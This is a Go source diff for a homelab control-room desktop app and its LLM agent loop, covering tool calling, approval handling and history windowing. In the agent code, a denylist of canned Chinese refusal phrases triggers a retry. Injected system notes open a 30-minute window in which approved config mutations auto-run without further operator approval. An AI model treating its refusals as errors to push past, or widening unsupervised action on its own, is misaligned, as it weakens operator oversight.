distFS, err := fs.Sub(assets, "frontend/dist")
|
||||
if err != nil {
|
||||
log.Fatalf("embedded assets: %v", err)
|
||||
}
|
||||
|
||||
fallback := http.FileServer(http.FS(distFS))
|
||||
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
path := r.URL.Path
|
||||
if path == "/" || path == "/index.html" {
|
||||
data, err := fs.ReadFile(distFS, "index.html")
|
||||
if err != nil {
|
||||
fallback.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
html := string(data)
|
||||
if cfg != nil {
|
||||
configJSON, _ := json.Marshal(cfg)
|
||||
placeholder := `<script>window.__OIKOS_CONFIG__ = {};</script>`
|
||||
injected := fmt.Sprintf(`<script>window.__OIKOS_CONFIG__ = %s;</script>`, configJSON)
|
||||
html = strings.ReplaceAll(html, placeholder, injected)
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.Write([]byte(html))
|
||||
return
|
||||
}
|
||||
fallback.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// ---- Notifications ----
|
||||
|
||||
type dashboardSummary struct {
|
||||
ApprovalsPending int `json:"approvals_pending"`
|
||||
Signals struct {
|
||||
Critical int `json:"critical"`
|
||||
} `json:"signals_by_severity"`
|
||||
}
|
||||
|
||||
func (d *dashboardSummary) alertCount() int {
|
||||
return d.ApprovalsPending + d.Signals.Critical
|
||||
}
|
||||
|
||||
func notify(title, subtitle string) {
|
||||
if runtime.GOOS != "darwin" {
|
||||
return
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`display notification "%s" with title "%s" sound name "default"`,
|
||||
strings.ReplaceAll(subtitle, `"`, `\"`),
|
||||
strings.ReplaceAll(title, `"`, `\"`),
|
||||
)
|
||||
exec.Command("osascript", "-e", script).Run()
|
||||
}
|
||||
|
||||
func pollDashboard(cfg *OikosConfig) {
|
||||
if cfg == nil || cfg.ApiUrl == "" || cfg.Token == "" {
|
||||
return
|
||||
}
|
||||
|
||||
var lastCount int
|
||||
first := true
|
||||
|
||||
for {
|
||||
req, err := http.NewRequest("GET", cfg.ApiUrl+"/api/v1/dashboard/summary", nil)
|
||||
if err != nil {
|
||||
time.Sleep(pollInterval)
|
||||
continue
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+cfg.Token)
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
time.Sleep(pollInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
|
||||
var summary dashboardSummary
|
||||
if err := json.Unmarshal(body, &summary); err != nil {
|
||||
time.Sleep(pollInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
if first {
|
||||
lastCount = summary.alertCount()
|
||||
first = false
|
||||
} else {
|
||||
current := summary.alertCount()
|
||||
if current > lastCount {
|
||||
notify("Oikos", fmt.Sprintf("%d pending approval(s), %d critical signal(s)", summary.ApprovalsPending, summary.Signals.Critical))
|
||||
}
|
||||
lastCount = current
|
||||
}
|
||||
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Auto-update ----
|
||||
|
||||
type giteaRelease struct {
|
||||
TagName string `json:"tag_name"`
|
||||
Assets []struct {
|
||||
Name string `json:"name"`
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
} `json:"assets"`
|
||||
}
|
||||
|
||||
func checkUpdates() {
|
||||
for {
|
||||
resp, err := http.Get(updateURL + "?draft=false&pre-release=false&limit=1")
|
||||
if err != nil {
|
||||
time.Sleep(updateInterval)
|
||||
continue
|
||||
}
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
|
||||
var releases []giteaRelease
|
||||
if err := json.Unmarshal(body, &releases); err != nil || len(releases) == 0 {
|
||||
time.Sleep(updateInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
latest := releases[0]
|
||||
latestVersion := strings.TrimPrefix(latest.TagName, "v")
|
||||
if latestVersion == version {
|
||||
time.Sleep(updateInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
app := application.Get()
|
||||
if app == nil {
|
||||
time.Sleep(updateInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("Version %s is available (you have %s). Download from Gitea releases.", latestVersion, version)
|
||||
app.Dialog.Info().
|
||||
SetTitle("Update Available").
|
||||
SetMessage(msg).
|
||||
Show()
|
||||
time.Sleep(updateInterval)
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Main ----
|
||||
|
||||
func main() {
|
||||
cfg := loadConfig()
|
||||
|
||||
app := application.New(application.Options{
|
||||
Name: "Oikos",
|
||||
Description: "Homelab Control Room",
|
||||
Services: []application.Service{
|
||||
application.NewService(&ConfigService{}),
|
||||
},
|
||||
Assets: application.AssetOptions{
|
||||
Handler: newAssetHandler(cfg),
|
||||
},
|
||||
Mac: application.MacOptions{
|
||||
ApplicationShouldTerminateAfterLastWindowClosed: false,
|
||||
},
|
||||
})
|
||||
|
||||
// --- System tray ---
|
||||
systemTray := app.SystemTray.New()
|
||||
systemTray.SetLabel("Oikos")
|
||||
systemTray.SetTooltip("Oikos — Control Room")
|
||||
|
||||
trayMenu := application.NewMenu()
|
||||
trayMenu.Add("Open Control Room").OnClick(func(ctx *application.Context) {
|
||||
for _, w := range app.Window.GetAll() {
|
||||
w.Show()
|
||||
w.Focus()
|
||||
}
|
||||
})
|
||||
trayMenu.AddSeparator()
|
||||
trayMenu.Add("Check for Updates").OnClick(func(ctx *application.Context) {
|
||||
go checkUpdates() // force immediate check on demand
|
||||
})
|
||||
trayMenu.AddSeparator()
|
||||
trayMenu.Add("Quit").OnClick(func(ctx *application.Context) {
|
||||
app.Quit()
|
||||
})
|
||||
systemTray.SetMenu(trayMenu)
|
||||
|
||||
// --- Main window ---
|
||||
ws := loadWindowState()
|
||||
width, height := 1400, 900
|
||||
minWidth, minHeight := 1024, 700
|
||||
|
||||
window := app.Window.NewWithOptions(application.WebviewWindowOptions{
|
||||
Title: "Oikos — Control Room",
|
||||
Width: width,
|
||||
Height: height,
|
||||
MinWidth: minWidth,
|
||||
MinHeight: minHeight,
|
||||
URL: "/",
|
||||
})
|
||||
|
||||
if ws != nil {
|
||||
window.SetPosition(ws.X, ws.Y)
|
||||
window.SetSize(ws.Width, ws.Height)
|
||||
} else {
|
||||
window.Center()
|
||||
}
|
||||
window.Show()
|
||||
|
||||
systemTray.AttachWindow(window)
|
||||
systemTray.Run()
|
||||
|
||||
// Register shutdown handler to save window state
|
||||
app.OnShutdown(func() {
|
||||
saveWindowState(window)
|
||||
})
|
||||
|
||||
// Start background goroutines
|
||||
go pollDashboard(cfg)
|
||||
go checkUpdates()
|
||||
|
||||
err := app.Run()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
9
cmd/desktop/wails.json
Normal file
9
cmd/desktop/wails.json
Normal file
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"name": "oikos",
|
||||
"outputfilename": "oikos-desktop",
|
||||
"frontend:dir": "frontend",
|
||||
"author": {
|
||||
"name": "Hubris",
|
||||
"email": "d.toro.v@pm.me"
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,9 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
@@ -14,24 +16,58 @@ import (
|
||||
"github.com/openai/openai-go/shared"
|
||||
)
|
||||
|
||||
const maxIterations = 15
|
||||
// maxIterations bounds one chat turn's tool-calling loop. Provisioning a
|
||||
// service is a long chain (research → plan → request_execution → per-step
|
||||
// install/verify run calls), so this must be generous; a full deploy with the
|
||||
// decomposed pct_create flow can legitimately need many steps. On exhaustion
|
||||
// the loop now produces a real summary (finalSummary) rather than a dead end.
|
||||
const maxIterations = 40
|
||||
const maxLLMRetries = 1
|
||||
|
||||
type agent struct {
|
||||
client *mcpClient
|
||||
system string
|
||||
provider *openai.Client
|
||||
model string
|
||||
store *store
|
||||
agentID uuid.UUID
|
||||
reqOpts []option.RequestOption
|
||||
// historyWindowSize bounds how many of a session's most recent persisted
|
||||
// messages are replayed into the LLM's context on each turn — see
|
||||
// store.go's getRecentMessages for why this exists (fix A2 of
|
||||
// plans/2026-07-11-nomos-agent-code-review.md: unbounded history replay was
|
||||
// a real, observed-in-production cost/latency/eventual-context-limit risk).
|
||||
// 30 is a fixed-window choice, not token-budget-aware: simplest option that
|
||||
// still keeps roughly the current task's working context, at the cost of
|
||||
// occasionally dropping something a very long task still needed — the
|
||||
// system note injected when truncation happens tells the model to check
|
||||
// upsert_knowledge/search_knowledge rather than assume something didn't
|
||||
// happen. A token-aware trim or LLM-summarize-on-drop are documented
|
||||
// stretch options if a fixed window proves insufficient in practice.
|
||||
const historyWindowSize = 30
|
||||
|
||||
var refusalDenylist = []string{
|
||||
"我没有相关信息",
|
||||
"您可以尝试问我其它问题",
|
||||
"我无法",
|
||||
"抱歉,我无法",
|
||||
"关于这个问题,我没有",
|
||||
}
|
||||
|
||||
func newAgent(ctx context.Context, mcpClient *mcpClient, st *store, agentSlug string) (*agent, error) {
|
||||
type agent struct {
|
||||
clients *mcpClientPool // one MCP client PER SESSION, not shared — see mcpClientPool's doc comment
|
||||
system string
|
||||
provider *openai.Client
|
||||
model string
|
||||
store *store
|
||||
agentID uuid.UUID
|
||||
reqOpts []option.RequestOption
|
||||
apiBase string // oikos HTTP API base, derived from NOMOS_MCP_URL, for chat-assent approvals
|
||||
apiToken string // OIKOS_MCP_BEARER_TOKEN — api's combinedAuth requires it (no dev-open bypass)
|
||||
httpClient *http.Client
|
||||
}
|
||||
|
||||
func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug string) (*agent, error) {
|
||||
system := loadSoul()
|
||||
apiKey := os.Getenv("OPENROUTER_API_KEY")
|
||||
model := os.Getenv("NOMOS_MODEL")
|
||||
if model == "" {
|
||||
model = "deepseek/deepseek-v4-flash"
|
||||
// v4-pro over v4-flash: the flash tier over-narrates, occasionally
|
||||
// emits canned refusals, and is unreliable at multi-step tool use —
|
||||
// exactly the agentic provisioning path the operator needs to work.
|
||||
model = "deepseek/deepseek-v4-pro"
|
||||
}
|
||||
|
||||
provider := openai.NewClient(
|
||||
@@ -60,14 +96,27 @@ func newAgent(ctx context.Context, mcpClient *mcpClient, st *store, agentSlug st
|
||||
}
|
||||
reqOpts := []option.RequestOption{option.WithJSONSet("provider", providerRouting)}
|
||||
|
||||
// Derive the oikos HTTP API base from the MCP URL (e.g.
|
||||
// "http://api:8090/mcp?session_id=..." -> "http://api:8090"). Used for
|
||||
// chat-assent approvals, which call the same decision endpoint the UI's
|
||||
// Approve button calls.
|
||||
mcpURL := os.Getenv("NOMOS_MCP_URL")
|
||||
apiBase := ""
|
||||
if idx := strings.Index(mcpURL, "/mcp"); idx > 0 {
|
||||
apiBase = mcpURL[:idx]
|
||||
}
|
||||
|
||||
return &agent{
|
||||
client: mcpClient,
|
||||
system: system,
|
||||
provider: &provider,
|
||||
model: model,
|
||||
store: st,
|
||||
agentID: agentID,
|
||||
reqOpts: reqOpts,
|
||||
clients: clients,
|
||||
system: system,
|
||||
provider: &provider,
|
||||
model: model,
|
||||
store: st,
|
||||
agentID: agentID,
|
||||
reqOpts: reqOpts,
|
||||
apiBase: apiBase,
|
||||
apiToken: os.Getenv("OIKOS_MCP_BEARER_TOKEN"),
|
||||
httpClient: &http.Client{Timeout: 15 * time.Second},
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -83,6 +132,35 @@ You have access to MCP tools to query topology, health, knowledge, and request
|
||||
gated mutations through request_execution. Be concise. Prefer tools over guessing.`
|
||||
}
|
||||
|
||||
// assentWindowDuration is how long after an operator approves a plan that
|
||||
// config_mutation commands auto-run without re-approval. The operator
|
||||
// approved the plan; the agent should execute it end-to-end without
|
||||
// stopping every step to re-ask. Destructive actions still always need
|
||||
// explicit typed confirmation regardless of the window.
|
||||
const assentWindowDuration = 30 * time.Minute
|
||||
|
||||
// openAssentWindow records an active assent window in autonomy_settings so
|
||||
// the MCP run tool (separate process) can check it before requiring approval
|
||||
// for config_mutation commands. Key is scoped to this agent's UUID AND this
|
||||
// session/task — see store.go's assentWindowActive for why: without the
|
||||
// session dimension, approving one task's plan would silently auto-run
|
||||
// unapproved actions in any other concurrently-running task.
|
||||
func (a *agent) openAssentWindow(ctx context.Context, sessionID string) {
|
||||
if a.store == nil || a.store.pool == nil || a.agentID == uuid.Nil || sessionID == "" {
|
||||
return
|
||||
}
|
||||
key := assentWindowKey(a.agentID, sessionID)
|
||||
expires := time.Now().Add(assentWindowDuration).UTC().Format(time.RFC3339)
|
||||
_, err := a.store.pool.Exec(ctx,
|
||||
`INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
|
||||
ON CONFLICT (key) DO UPDATE SET value = $2`, key, expires)
|
||||
if err != nil {
|
||||
slog.Warn("nomos: openAssentWindow", "error", err)
|
||||
} else {
|
||||
slog.Info("nomos: assent window opened", "agent", a.agentID, "session", sessionID, "expires", expires)
|
||||
}
|
||||
}
|
||||
|
||||
type toolDef struct {
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
@@ -97,28 +175,49 @@ type agentEvent struct {
|
||||
}
|
||||
|
||||
func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(agentEvent)) {
|
||||
a.chatWith(ctx, sessionID, message, "", emit)
|
||||
}
|
||||
|
||||
// chatWith is chat() with an optional system-injected note appended after the
|
||||
// replayed history. The auto-continuation worker uses it to resume a session
|
||||
// with a finished execution's result ("execution X completed: … — continue the
|
||||
// plan") without persisting a fake user turn. message is normally the new user
|
||||
// message; for a worker continuation it is empty and systemInject carries the
|
||||
// note.
|
||||
func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject string, emit func(agentEvent)) {
|
||||
correlationID := uuid.New().String()
|
||||
|
||||
tools, err := a.buildTools()
|
||||
tools, err := a.buildTools(sessionID)
|
||||
if err != nil {
|
||||
emit(agentEvent{Type: "error", Data: fmt.Sprintf("build tools: %v", err), SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
|
||||
// Rebuild conversation context from persisted history so sessions are
|
||||
// multi-turn. The current user turn is saved by the HTTP handler before
|
||||
// this runs, so it is already included in the history for real sessions.
|
||||
// Prior tool_use/tool_result pairs are replayed as a tool-calling
|
||||
// assistant message followed by matching tool-role results, so the agent
|
||||
// starts each turn already knowing what it already checked instead of
|
||||
// re-querying the same tools from scratch. Ephemeral sessions (no store)
|
||||
// fall back to the single incoming message.
|
||||
system := a.system
|
||||
if snapshot := a.fleetSnapshot(); snapshot != "" {
|
||||
if snapshot := a.fleetSnapshot(sessionID); snapshot != "" {
|
||||
system += "\n\n" + snapshot
|
||||
}
|
||||
messages := []openai.ChatCompletionMessageParamUnion{openai.SystemMessage(system)}
|
||||
history, _ := a.store.getMessages(ctx, sessionID)
|
||||
history, truncatedHistory, _ := a.store.getRecentMessages(ctx, sessionID, historyWindowSize)
|
||||
if truncatedHistory {
|
||||
// Tell the model explicitly rather than silently dropping older
|
||||
// turns — otherwise it might assume something wasn't done just
|
||||
// because it doesn't see the turn that did it.
|
||||
messages = append(messages, openai.SystemMessage(fmt.Sprintf(
|
||||
"[System: this task has been running long enough that only the most recent %d turns of its history are included above your context — earlier turns happened but aren't shown. If you need to know what was already tried or found, check search_knowledge/get_entity_knowledge (if you recorded it) rather than assuming it didn't happen.]",
|
||||
historyWindowSize)))
|
||||
}
|
||||
// sawSetGoal / sawCompleteTask track whether this session has EVER framed
|
||||
// itself as a structured task (set_goal) or already reached a terminal
|
||||
// state (complete_task) — across both replayed history and this turn's
|
||||
// own tool calls (updated again below as they happen live). Used by the
|
||||
// end-of-turn safety net (plans/2026-07-11-task-completion-safety-net.md,
|
||||
// fix 1): most sessions are a single trivial Q&A exchange that answers in
|
||||
// text and never calls either tool, leaving agent_sessions.status stuck
|
||||
// at its creation-time default forever. If a session never framed itself
|
||||
// as a task, its first plain-text turn-end IS the task ending.
|
||||
var sawSetGoal, sawCompleteTask bool
|
||||
var lastAssistantCalls []persistedCall
|
||||
for _, m := range history {
|
||||
text := extractText(m.Content)
|
||||
switch m.Role {
|
||||
@@ -129,7 +228,14 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
messages = append(messages, assistantToolCallMessage(calls))
|
||||
for _, c := range calls {
|
||||
messages = append(messages, openai.ToolMessage(c.resultText(), c.id))
|
||||
switch c.name {
|
||||
case "set_goal":
|
||||
sawSetGoal = true
|
||||
case "complete_task":
|
||||
sawCompleteTask = true
|
||||
}
|
||||
}
|
||||
lastAssistantCalls = calls
|
||||
}
|
||||
if text != "" {
|
||||
messages = append(messages, openai.AssistantMessage(text))
|
||||
@@ -140,6 +246,78 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
messages = append(messages, openai.UserMessage(message))
|
||||
}
|
||||
|
||||
// Chat-assent approval: if the immediately-preceding assistant turn
|
||||
// proposed gated action(s) and the operator's new message reads as
|
||||
// authorization ("go ahead", "yes", ...), grant them now — this is the
|
||||
// primary approval path; the Approve button in the UI is a fallback for
|
||||
// when the operator wants to click instead of type. Destructive-risk
|
||||
// actions are never granted by loose assent — they need the stricter
|
||||
// isTypedConfirmation ("I confirm ...", per SOUL.md's guidance for what
|
||||
// to ask the operator to type).
|
||||
pending := extractPendingApprovals(lastAssistantCalls)
|
||||
assent := isAssent(message)
|
||||
typedConfirm := isTypedConfirmation(message)
|
||||
if len(pending) > 0 && (assent || typedConfirm) {
|
||||
var granted, blocked []string
|
||||
for _, p := range pending {
|
||||
if p.destructive && !typedConfirm {
|
||||
blocked = append(blocked, p.execID)
|
||||
continue
|
||||
}
|
||||
if !p.destructive && !assent {
|
||||
continue // typed-confirm alone doesn't grant a non-destructive item without also reading as assent
|
||||
}
|
||||
ok, status, aerr := a.approveExecution(ctx, p.execID)
|
||||
if aerr != nil {
|
||||
slog.Error("nomos: chat-assent approve", "execution", p.execID, "error", aerr)
|
||||
continue
|
||||
}
|
||||
if ok {
|
||||
granted = append(granted, p.execID)
|
||||
slog.Info("nomos: chat-assent granted", "execution", p.execID, "status", status, "session", sessionID)
|
||||
emit(agentEvent{Type: "tool_use", Data: map[string]any{"name": "chat_assent", "args": map[string]any{"execution_id": p.execID}, "id": "assent-" + p.execID}, SessionID: sessionID})
|
||||
emit(agentEvent{Type: "tool_result", Data: map[string]any{"name": "chat_assent", "result": fmt.Sprintf("Approved via chat assent (%q). Status: %s.", message, status), "id": "assent-" + p.execID}, SessionID: sessionID})
|
||||
|
||||
// An explicit typed confirmation for a destructive action
|
||||
// opens a short, target-scoped window so the rest of a
|
||||
// destructive recovery sequence on the SAME target (e.g.
|
||||
// stop -> destroy) doesn't need a second typed confirmation.
|
||||
if p.destructive && typedConfirm {
|
||||
if execUUID, perr := uuid.Parse(p.execID); perr == nil {
|
||||
if target := a.store.executionTarget(ctx, execUUID); target != "" {
|
||||
a.store.openDestructiveWindow(ctx, a.agentID, target, sessionID)
|
||||
slog.Info("nomos: destructive window opened", "agent", a.agentID, "target", target, "session", sessionID)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(granted) > 0 {
|
||||
a.openAssentWindow(ctx, sessionID)
|
||||
note := fmt.Sprintf("[System: the operator's message approved pending execution(s) %s via chat assent — they are now running. An assent window is now active for 30 minutes: config_mutation commands will auto-run without re-approval. Do not re-request or call request_execution/run again for these; check get_execution_status if you need the outcome. CONTINUE executing the full plan — do not stop and wait for 'continue' after each step. Only surface to the operator for destructive actions (need typed confirmation) or if you're genuinely stuck after trying alternatives.]", strings.Join(granted, ", "))
|
||||
messages = append(messages, openai.SystemMessage(note))
|
||||
}
|
||||
if len(blocked) > 0 {
|
||||
note := fmt.Sprintf("[System: execution(s) %s are classified DESTRUCTIVE and were NOT approved by loose assent — you must ask the operator for an explicit typed confirmation before they can run. Once they do confirm, further destructive steps on that SAME target (e.g. finishing a stop-then-destroy sequence) will auto-run for 15 minutes without asking again — but a different target always needs its own confirmation.]", strings.Join(blocked, ", "))
|
||||
messages = append(messages, openai.SystemMessage(note))
|
||||
}
|
||||
} else if assent && len(lastAssistantCalls) == 0 {
|
||||
// The operator said "proceed"/"go ahead"/"yes" but the preceding
|
||||
// assistant turn had NO pending approvals — meaning the agent
|
||||
// proposed a plan in text and asked "shall I?" without calling
|
||||
// request_execution yet. Inject a system note telling the agent
|
||||
// the operator approved — go execute the plan now.
|
||||
note := "[System: The operator approved your proposed plan. Execute it now — call request_execution or run to carry out the steps you described. Do not re-describe the plan or ask for confirmation again. The assent window is active: config_mutation commands will auto-run once you create them.]"
|
||||
messages = append(messages, openai.SystemMessage(note))
|
||||
a.openAssentWindow(ctx, sessionID)
|
||||
}
|
||||
|
||||
// Worker continuation: append the finished-execution note so the model
|
||||
// sees the result and decides the next step (proceed / recover / done).
|
||||
if systemInject != "" {
|
||||
messages = append(messages, openai.SystemMessage(systemInject))
|
||||
}
|
||||
|
||||
for i := 0; i < maxIterations; i++ {
|
||||
params := openai.ChatCompletionNewParams{
|
||||
Model: openai.ChatModel(a.model),
|
||||
@@ -147,33 +325,60 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
Tools: tools,
|
||||
}
|
||||
|
||||
// Stream the completion, emitting token deltas as they arrive. The
|
||||
// accumulator reassembles the full message (content + tool calls) for
|
||||
// the loop's control flow.
|
||||
stream := a.provider.Chat.Completions.NewStreaming(ctx, params, a.reqOpts...)
|
||||
acc := openai.ChatCompletionAccumulator{}
|
||||
for stream.Next() {
|
||||
chunk := stream.Current()
|
||||
acc.AddChunk(chunk)
|
||||
if len(chunk.Choices) > 0 {
|
||||
if delta := chunk.Choices[0].Delta.Content; delta != "" {
|
||||
emit(agentEvent{Type: "text_delta", Data: delta, SessionID: sessionID, Iteration: i + 1})
|
||||
var msg openai.ChatCompletionMessage
|
||||
var acc openai.ChatCompletionAccumulator
|
||||
|
||||
for attempt := 0; attempt <= maxLLMRetries; attempt++ {
|
||||
acc = openai.ChatCompletionAccumulator{}
|
||||
stream := a.provider.Chat.Completions.NewStreaming(ctx, params, a.reqOpts...)
|
||||
for stream.Next() {
|
||||
chunk := stream.Current()
|
||||
acc.AddChunk(chunk)
|
||||
if len(chunk.Choices) > 0 {
|
||||
if delta := chunk.Choices[0].Delta.Content; delta != "" {
|
||||
emit(agentEvent{Type: "text_delta", Data: delta, SessionID: sessionID, Iteration: i + 1})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := stream.Err(); err != nil {
|
||||
emit(agentEvent{Type: "error", Data: fmt.Sprintf("llm: %v", err), SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
if len(acc.Choices) == 0 {
|
||||
emit(agentEvent{Type: "error", Data: "no choices in response", SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
if err := stream.Err(); err != nil {
|
||||
if attempt < maxLLMRetries {
|
||||
slog.Warn("nomos: llm stream error, retrying", "error", err, "attempt", attempt+1, "session", sessionID)
|
||||
continue
|
||||
}
|
||||
emit(agentEvent{Type: "error", Data: fmt.Sprintf("llm: %v", err), SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
if len(acc.Choices) == 0 {
|
||||
if attempt < maxLLMRetries {
|
||||
slog.Warn("nomos: no choices in response, retrying", "attempt", attempt+1, "session", sessionID)
|
||||
continue
|
||||
}
|
||||
emit(agentEvent{Type: "error", Data: "no choices in response", SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
|
||||
msg := acc.Choices[0].Message
|
||||
msg = acc.Choices[0].Message
|
||||
|
||||
if len(msg.ToolCalls) == 0 {
|
||||
if isRefusalOrEmpty(msg.Content) {
|
||||
if attempt < maxLLMRetries {
|
||||
slog.Warn("nomos: empty or refusal response, retrying",
|
||||
"session", sessionID, "iter", i+1, "attempt", attempt+1,
|
||||
"content_len", len(msg.Content))
|
||||
continue
|
||||
}
|
||||
emit(agentEvent{Type: "error", Data: "Nomos returned an empty or unusable response — please retry.", SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
if len(msg.ToolCalls) == 0 {
|
||||
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID})
|
||||
if !sawSetGoal && !sawCompleteTask {
|
||||
a.autoCompleteTrivialTask(ctx, sessionID, msg.Content)
|
||||
}
|
||||
emit(agentEvent{Type: "done", Data: map[string]any{
|
||||
"session_id": sessionID,
|
||||
"usage": acc.Usage,
|
||||
@@ -193,6 +398,13 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
args = map[string]any{}
|
||||
}
|
||||
|
||||
switch tc.Function.Name {
|
||||
case "set_goal":
|
||||
sawSetGoal = true
|
||||
case "complete_task":
|
||||
sawCompleteTask = true
|
||||
}
|
||||
|
||||
emit(agentEvent{
|
||||
Type: "tool_use",
|
||||
Data: map[string]any{"name": tc.Function.Name, "args": args, "id": tc.ID},
|
||||
@@ -201,14 +413,38 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
})
|
||||
|
||||
start := time.Now()
|
||||
result, callErr := a.client.callTool(tc.Function.Name, args)
|
||||
// Session-scoped task tools are handled in-process; everything else
|
||||
// is forwarded to the shared MCP server.
|
||||
var result any
|
||||
var callErr error
|
||||
if localRes, handled := a.handleTaskTool(ctx, sessionID, tc.Function.Name, args); handled {
|
||||
result = localRes
|
||||
} else {
|
||||
// _session_id rides along on the wire call only — never in
|
||||
// `args` (which is what gets emitted/logged/persisted as the
|
||||
// model's own tool call) — so the MCP-side assent/destructive
|
||||
// window checks can scope to THIS task instead of bleeding
|
||||
// across every concurrently-running one sharing this agent
|
||||
// identity. Not part of any tool's declared InputSchema, so
|
||||
// the model never sees or supplies it.
|
||||
wireArgs := make(map[string]any, len(args)+1)
|
||||
for k, v := range args {
|
||||
wireArgs[k] = v
|
||||
}
|
||||
wireArgs["_session_id"] = sessionID
|
||||
var client *mcpClient
|
||||
client, callErr = a.clients.get(sessionID)
|
||||
if callErr == nil {
|
||||
result, callErr = client.callTool(tc.Function.Name, wireArgs)
|
||||
}
|
||||
}
|
||||
elapsed := int(time.Since(start).Milliseconds())
|
||||
|
||||
inputJSON, _ := json.Marshal(args)
|
||||
inputStr := string(inputJSON)
|
||||
|
||||
if callErr != nil {
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, inputStr, callErr.Error(), elapsed, false, correlationID)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID)
|
||||
|
||||
emit(agentEvent{
|
||||
Type: "tool_result",
|
||||
@@ -222,7 +458,27 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
}
|
||||
|
||||
resultJSON, _ := json.Marshal(result)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, inputStr, string(resultJSON), elapsed, true, correlationID)
|
||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, string(resultJSON), elapsed, true, correlationID)
|
||||
|
||||
// Link any execution this tool queued/started back to this
|
||||
// session, so the auto-continuation worker can feed its result
|
||||
// back here when it finishes (see cmd/nomos/continue.go). Async
|
||||
// executions (pct_create, apt_upgrade) are the ones that matter —
|
||||
// their result lands after this turn ends.
|
||||
for _, execID := range extractExecutionIDs(string(resultJSON)) {
|
||||
a.store.linkExecution(ctx, execID, sessionID)
|
||||
}
|
||||
|
||||
// Record which entities this task touched (task —involves→ entity)
|
||||
// and pulse them on the live context panel. Args only — never
|
||||
// results — so a bulk query doesn't drag the whole fleet in.
|
||||
a.store.recordTouched(ctx, sessionID, tc.Function.Name, args)
|
||||
|
||||
// When the agent records knowledge, link that note to this task so
|
||||
// the task's outcome view shows what it learned (and pulse it live).
|
||||
if tc.Function.Name == "upsert_knowledge" {
|
||||
a.store.linkKnowledgeToTask(ctx, sessionID, string(resultJSON))
|
||||
}
|
||||
|
||||
emit(agentEvent{
|
||||
Type: "tool_result",
|
||||
@@ -232,10 +488,36 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
|
||||
})
|
||||
messages = append(messages, openai.ToolMessage(string(resultJSON), tc.ID))
|
||||
slog.Info("nomos: tool success", "tool", tc.Function.Name, "ms", elapsed)
|
||||
|
||||
// ask_operator pauses the task: the agent has posed a decision only
|
||||
// the operator can make. End the turn here so it doesn't barrel past
|
||||
// its own question — the answer (panel or chat reply) resumes it.
|
||||
// The prompt becomes the assistant's visible message so the question
|
||||
// also shows inline in the transcript.
|
||||
if tc.Function.Name == "ask_operator" {
|
||||
prompt, _ := args["prompt"].(string)
|
||||
emit(agentEvent{Type: "text", Data: prompt, SessionID: sessionID})
|
||||
emit(agentEvent{Type: "done", Data: map[string]any{
|
||||
"session_id": sessionID,
|
||||
"correlation_id": correlationID,
|
||||
"iteration": i + 1,
|
||||
}, SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
emit(agentEvent{Type: "text", Data: "Agent loop: max iterations reached without final answer.", SessionID: sessionID})
|
||||
// Hitting the step limit used to end the turn with a bare "max iterations
|
||||
// reached without final answer" — a dead end that made the operator ask
|
||||
// "status?" to find out what actually happened after a long working turn.
|
||||
// Instead, spend one final call asking the model to summarize what it did
|
||||
// and the current state, so the turn always ends with a real report.
|
||||
